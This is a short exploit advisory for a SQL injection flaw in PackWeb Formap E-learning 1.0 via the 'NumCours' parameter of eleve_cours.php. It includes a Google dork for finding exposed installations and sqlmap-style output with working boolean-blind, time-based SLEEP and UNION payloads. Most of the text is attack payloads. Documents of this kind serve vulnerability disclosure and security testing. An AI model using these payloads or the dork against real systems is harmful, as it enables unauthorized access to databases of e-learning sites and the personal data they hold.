PackWeb Formap E-learning 1.0 - 'NumCours' SQL Injection

# Exploit Title: PackWeb Formap E-learning 1.0 - 'NumCours' SQL Injection
# Google Dork: intitle: "PackWeb Formap E-learning"
# Date: 2020-02-07
# Exploit Author: Amel BOUZIANE-LEBLOND
# Vendor Homepage: https://www.ediser.com/
# Software Link: https://www.ediser.com/98517-formation-en-ligne
# Version: v1.0
# Tested on: Linux
# CVE : N/A

# Description:
# The PackWeb Formap E-learning application from EDISER is vulnerable to
# SQL injection via the 'NumCours' parameter on the eleve_cours.php

==================== 1. SQLi ====================

http://localhost/eleve_cours.php?NumCours=[SQLI]

The 'NumCours' parameter is vulnerable to SQL injection.

GET parameter 'NumCours' is vulnerable.

---
Parameter: #1* (URI)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: http://localhost/eleve_cours.php?NumCours=-9758' OR 6342=6342-- rSaq&static=1

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SLEEP)
    Payload: http://localhost/eleve_cours.php?NumCours=' AND SLEEP(5)-- rGcs&static=1

    Type: UNION query
    Title: MySQL UNION query (47) - 1 column
    Payload: http://localhost/eleve_cours.php?NumCours=' UNION ALL SELECT CONCAT(0x7176707171,0x58794e58714e52434d7879444262574a506d6f41526e636444674d5a6863667a6943517841654d54,0x717a7a6a71)#&static=1
---
[INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12